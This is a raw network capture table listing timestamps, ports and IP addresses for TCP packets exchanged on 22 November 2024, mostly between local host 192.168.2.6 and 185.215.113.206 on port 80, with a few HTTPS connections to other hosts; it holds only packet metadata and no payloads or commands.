Nov 22, 2024 14:43:57.334438086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.334924936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.335128069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.335186005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.336040974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.336088896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.336105108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.336163044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.337167978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.337217093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.337662935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.337708950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.338282108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.338320017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.338505030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.338553905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.339416981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.339463949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.340009928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.340063095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.340553999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.340599060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.340713978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.340754986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.341694117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.341737986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.342299938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.342346907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.342828035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.342871904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.343072891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.343113899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.343957901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.344007015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.344296932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.344341993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.345148087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.345160007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.345201015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.346246004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.346295118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.346981049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.347043037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.347398996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.347449064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.347801924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.347848892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.348539114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.348565102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.348583937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.348604918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.349674940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.349725962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.350073099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.350117922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.350797892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.350857019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.350900888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.351072073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.351950884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.352097034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.352238894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.352282047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.353060007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.353106022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.353147984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.353252888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.354187965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.354295969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.354403973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.354444027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.355331898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.355381966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.355638981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.355679989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.356487989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.356621027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.356631994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.356661081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.357608080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.357655048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.357913971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.357988119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.358716011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.358766079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.358823061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.358869076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.359879017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.359945059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.360249996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.360311985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.360987902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.361090899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.361183882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.361259937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.361423969 CET	443	49894	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.361871958 CET	443	49895	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.361880064 CET	49894	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.361905098 CET	443	49894	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.362104893 CET	49895	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.362119913 CET	443	49895	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.362124920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.362175941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.362195969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.362258911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.362277031 CET	443	49894	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.362719059 CET	49894	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.362790108 CET	443	49894	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.363198042 CET	443	49895	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.363276005 CET	49895	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.363298893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.363341093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.363683939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.363852024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.364377022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.364634991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.364691019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.365547895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.365560055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.365617990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.366676092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.366744995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.367048025 CET	49895	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.367136002 CET	443	49895	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.367175102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.367223978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.367821932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.367870092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.368087053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.368145943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.368968964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.368999958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.369028091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.369046926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.370106936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.370120049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.370168924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.371187925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.371238947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.371361971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.371490955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.372345924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.372582912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.372769117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.372816086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.373478889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.373528957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.373694897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.373739004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.374598026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.374656916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.375056028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.375106096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.375803947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.375816107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.375857115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.376899004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.376949072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.377722979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.377772093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.378074884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.378087044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.378139973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.379180908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.379230022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.379561901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.379606962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.380336046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.380393028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.380620956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.380673885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.381412029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.381447077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.381500006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.381652117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.382536888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.382606030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.382976055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.383034945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.383805990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.383920908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.383955002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.383997917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.384824038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.384891987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.385004044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.385040998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.385960102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.386017084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.386229992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.386291981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.387052059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.387094021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.411503077 CET	49895	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.411503077 CET	49894	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.411545038 CET	443	49895	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.459352970 CET	49895	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.491180897 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.491235018 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.491378069 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.491565943 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.491615057 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.491718054 CET	49903	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.491729021 CET	443	49903	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.491740942 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.491830111 CET	49903	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.492213964 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.492263079 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.492333889 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.492449999 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.492472887 CET	443	49905	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.492518902 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.492691994 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.492708921 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.492855072 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.492873907 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.493030071 CET	49903	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.493047953 CET	443	49903	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.493542910 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.493558884 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.493674040 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:57.493690968 CET	443	49905	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:57.529834986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.529896021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.530052900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.530105114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.530366898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.530416012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.530426025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.530478001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.531640053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.531716108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.532133102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.532227993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.532603979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.532670021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.532897949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.532948971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.533685923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.533731937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.533857107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.533904076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.534862041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.534907103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.534977913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.535018921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.535974026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.536262989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.536315918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.537406921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.537467957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.537595034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.537669897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.538405895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.538450956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.538503885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.538537979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.539391041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.539537907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.539639950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.539683104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.540559053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.540571928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.540621996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.541681051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.541724920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.541891098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.542171955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.542808056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.542848110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.542885065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.542933941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.543910980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.543976068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.544272900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.544327021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.545066118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.545141935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.545342922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.545414925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.546183109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.546202898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.546257973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.547348022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.547409058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.547756910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.547811985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.548484087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.548543930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.548722982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.548765898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.549720049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.549765110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.549943924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.550039053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.550770998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.550831079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.551032066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.551073074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.551882029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.552270889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.553057909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.553071976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.553111076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.553133011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.553153992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.554157019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.554228067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.554281950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.555238962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.555294991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.555360079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.555399895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.556452036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.556602001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.557396889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.557441950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.557593107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.557607889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.557641983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.558767080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.558861971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.558942080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.558989048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.559817076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.559864998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.559907913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.559954882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.561034918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.561047077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.561085939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.562163115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.562175989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.562212944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.563240051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.563354969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.563672066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.563795090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.564400911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.564610004 CET	49819	80	192.168.2.6	185.215.113.206
